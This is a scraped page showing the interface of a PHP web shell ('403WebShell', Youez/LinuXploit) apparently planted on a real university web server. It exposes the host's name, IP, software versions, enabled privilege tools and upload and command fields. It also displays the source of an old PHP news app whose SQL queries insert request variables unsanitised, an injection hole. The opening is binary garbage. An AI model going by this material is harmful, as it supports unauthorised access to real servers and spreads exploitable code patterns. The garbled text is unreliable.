h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rlocal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rlocal/index.php
<?
/*=========================================================================

:: rLocal -- web local database
:: Copyright (C) 2001 Thana Charuphanthuset
:: see http://www.OhioNet.cjb.net for more

=*=======================================================================*/

include("include/common.inc.php");
include("include/commonfile.inc.php");
include("include/header.inc.php");


if (!empty($story)) {

	/*== show full story ==*/
	F_uphits("T_Stories",$story);

	$sql	= "SELECT * FROM T_Stories ";
	$sql	.= "WHERE Rid = '$story' ";
	if ($CONF["Moderation"]>0 && empty($HTTP_COOKIE_VARS["phpWebLog"])) {
		$sql	.= "AND Verified = 'Y'";
	}
	$result	= @mysql_query($sql,$db);
	$nrows	= mysql_num_rows($result);

	if ($nrows==0) {

		$VAR["Heading"] = _NOSTORY;
		$VAR["Content"] = "<br>" . _NOSTORY . "<br><br>";
		F_drawMain($VAR);

	} else {

		$A	= mysql_fetch_array($result);
		$tmp	= urlencode("stories.php?story=" . $A["Rid"]);
		F_drawStory($A,$tmp);

		$sql	= "SELECT NoComments FROM T_Topics ";
		$sql	.= "WHERE Rid = '" . $A["Topic"] . "'";
		$result	= @mysql_query($sql,$db);
		$nrows	= mysql_num_rows($result);

		if ($nrows>0 || F_count("T_Comments","ParentRid",$A["Rid"])>0) {
			/* comments */
			F_doComments($story,$story,"stories.php?story=" . $A["Rid"] ,0,$A["Heading"]);
			print "<p>\n";
			F_postComment($story,$story,"stories.php?story=" . $A["Rid"]);
		}
	}

} else {

	/*== determine pages ==*/
	if (empty($page)) { $page = 1; }
	$prev_page = $page - 1; 
	$next_page = $page + 1; 

	$page_start = ($CONF["LimitNews"] * $page) - $CONF["LimitNews"]; 

	/*== get story data ==*/
	$sql	= "SELECT * FROM T_Stories WHERE ";

	if ($CONF["Moderation"]>0) {
		$sql	.= " Verified = 'Y' AND ";
	}
	if ($CONF["Topics"]>0 && !empty($topic)) {
		$sql	.= " Topic = '$topic' AND ";
	}
	$sql	.= " Rid > '0'";
	$sql	.= " ORDER BY Repostamp desc";
	$sql	.= sprintf(" LIMIT %s,%s",$page_start,$CONF["LimitNews"]);

	$result	= @mysql_query($sql,$db);
	$nrows	= mysql_num_rows($result);
	if ($nrows>0) {

		/*== show items ==*/
		for ($i=0;$i<$nrows;$i++) {
			$A	= mysql_fetch_array($result);
			F_drawSummary($A);
		}

		/*== determine number of pages (yes, this is messy) ==*/
		if (!empty($topic)) {
			$num_rows = F_count("T_Stories","Topic",$topic,"Verified","Y");
		} else {
			$num_rows = F_count("T_Stories","Verified","Y");
		}
		if ($num_rows <= $CONF["LimitNews"]) { 
			$num_pages = 1; 
		} elseif (($num_rows % $CONF["LimitNews"]) == 0) { 
			$num_pages = ($num_rows / $CONF["LimitNews"]); 
		} else { 
			$num_pages = ($num_rows / $CONF["LimitNews"]) + 1; 
		} 
		$num_pages = (int) $num_pages;

		/*== round start page to lowest decade ==*/
		$s_pages	= $page<10 ? 1 : floor($page / 10) * 10;

		/*== extend end page plus 9 ==*/
		$e_pages	= $page + 9;

		/*== only if not exceeding number of pages ==*/
		if ($e_pages>$num_pages) {
			$e_pages	= $num_pages;
		}

		/*== construct next/prev links ==*/
		$blah	= "";
		if ($prev_page)  {
			$blah .= "<a href =  \"$G_URL/stories.php?page=$prev_page&topic=$topic\">[&lt;&lt; " . _PREV . "]</a> |\n";
		}
		/* Run Kad
		for ($i = $s_pages; $i <= $e_pages; $i++) { 
			if ($i != $page) { 
				$blah .= "<a href = \"$G_URL/stories.php?page=$i&topic=$topic\">$i</a> \n"; 
			} else { 
				if ($i!=1) {
					$blah .= " $i "; 
				}
			} 
		} 
		Stop Kad */
		if ($page != $num_pages) { 
			$blah .= "| <a href = \"$G_URL/stories.php?page=$next_page&topic=$topic\">[" . _NEXT . "&gt;&gt;]</a> \n";
		}


		/*== show pages if any ==*/
		if (!empty($blah)) { F_notice("<center>" . $blah . "</center>\n"); }

	} else {

		$bla	= F_getTopic($topic,"Topic");
		if (empty($bla)) { $bla = _NOSTORY; }
		$VAR["Heading"] = $bla;
		if ($CONF["Topics"]>0 && !empty($topic)) {
			$tmp	= _EMPTYTOPIC;
		} else {
			$tmp	= _EMPTY;
		}
		$VAR["Content"] = $tmp . "<br><br>";
		F_drawMain($VAR);
	}
}

include("include/footer.inc.php");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit